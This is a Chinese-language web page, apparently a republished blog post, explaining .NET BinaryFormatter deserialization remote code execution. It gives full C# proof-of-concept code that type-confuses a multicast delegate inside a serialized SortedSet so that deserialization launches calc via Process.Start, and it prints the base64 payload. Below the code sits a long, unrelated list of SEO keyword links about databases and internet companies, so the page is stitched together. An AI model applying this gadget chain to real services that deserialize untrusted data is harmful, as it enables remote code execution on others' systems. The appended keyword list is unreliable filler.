.Net反序列化漏洞之BinaryFormatter
发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html.Net反序列化导致RCE的样例,有
千家信息网最后更新 2026年10月31日.Net反序列化漏洞之BinaryFormatter
https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html
.Net反序列化导致RCE的样例,有两点限制:
- BinaryFormatter::Deserialize反序列化的内容用户可控
- .Net SDK大于等于4.5
using System;using System.Collections.Generic;using System.Diagnostics;using System.IO;using System.Linq;using System.Reflection;using System.Runtime.Serialization.Formatters;using System.Runtime.Serialization.Formatters.Binary;using System.Text;using System.Threading.Tasks;namespace Deserializer{ class Program { public static void getCalcPayload() { // Create a simple multicast delegate Delegate d = new Comparison(String.Compare); Comparison d2 = (Comparison)MulticastDelegate.Combine(d, d); // Create set with original comparer IComparer comp = Comparer.Create(d2); SortedSet set = new SortedSet(comp); set.Add("calc"); set.Add("adummy"); TypeConfuseDelegate(d2); BinaryFormatter formatter = new BinaryFormatter { AssemblyFormat = FormatterAssemblyStyle.Simple }; using (MemoryStream stream = new MemoryStream()) { formatter.Serialize(stream, set); int position = (int)stream.Position; byte[] array = stream.GetBuffer(); Array.Resize(ref array, position); String payload = Convert.ToBase64String(array); Console.WriteLine("Calc.exe PayLoad:" + payload); //FileSystemUtils.Pullfile(payload, "payload_calc.dat"); stream.Position = 0; formatter.Deserialize(stream); } } static void TypeConfuseDelegate(Comparison comp) { FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance); object[] invoke_list = comp.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func(Process.Start); fi.SetValue(comp, invoke_list); } static void Main(string[] args) { getCalcPayload(); } }}
序列
内容
用户
限制
漏洞
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
保险科技 互联网保险
互联网加科技
北京互联网科技有限公司
互联网科技金融公司
互联网金融科技创新
北京禾田雨橡互联网科技
融势互联网科技
互联网金融科技委员会
丰台科技园 互联网公司
湖南洣水互联网科技有限公司扣款
科技与互联网的利与弊
重庆威客帮互联网科技
科技互联网大厂
知域互联网科技有限公司大骗子
燊美集互联网科技有限公司
万物互联网智能科技
艺电能源互联网科技有限公司招聘
银川新华互联网科技学校是国营吗
优雇互联网科技有限公司
互联网科技企业文化
天津市摩尔互联网科技
广州紫鲸互联网科技有限公司
互联网与科技金融数据
上海互联网科技有限公司
有马互联网科技
苏州互联网科技贷款公司
赫美联合互联网科技
佩信高科技互联网
互联网科技包装股
好易买互联网科技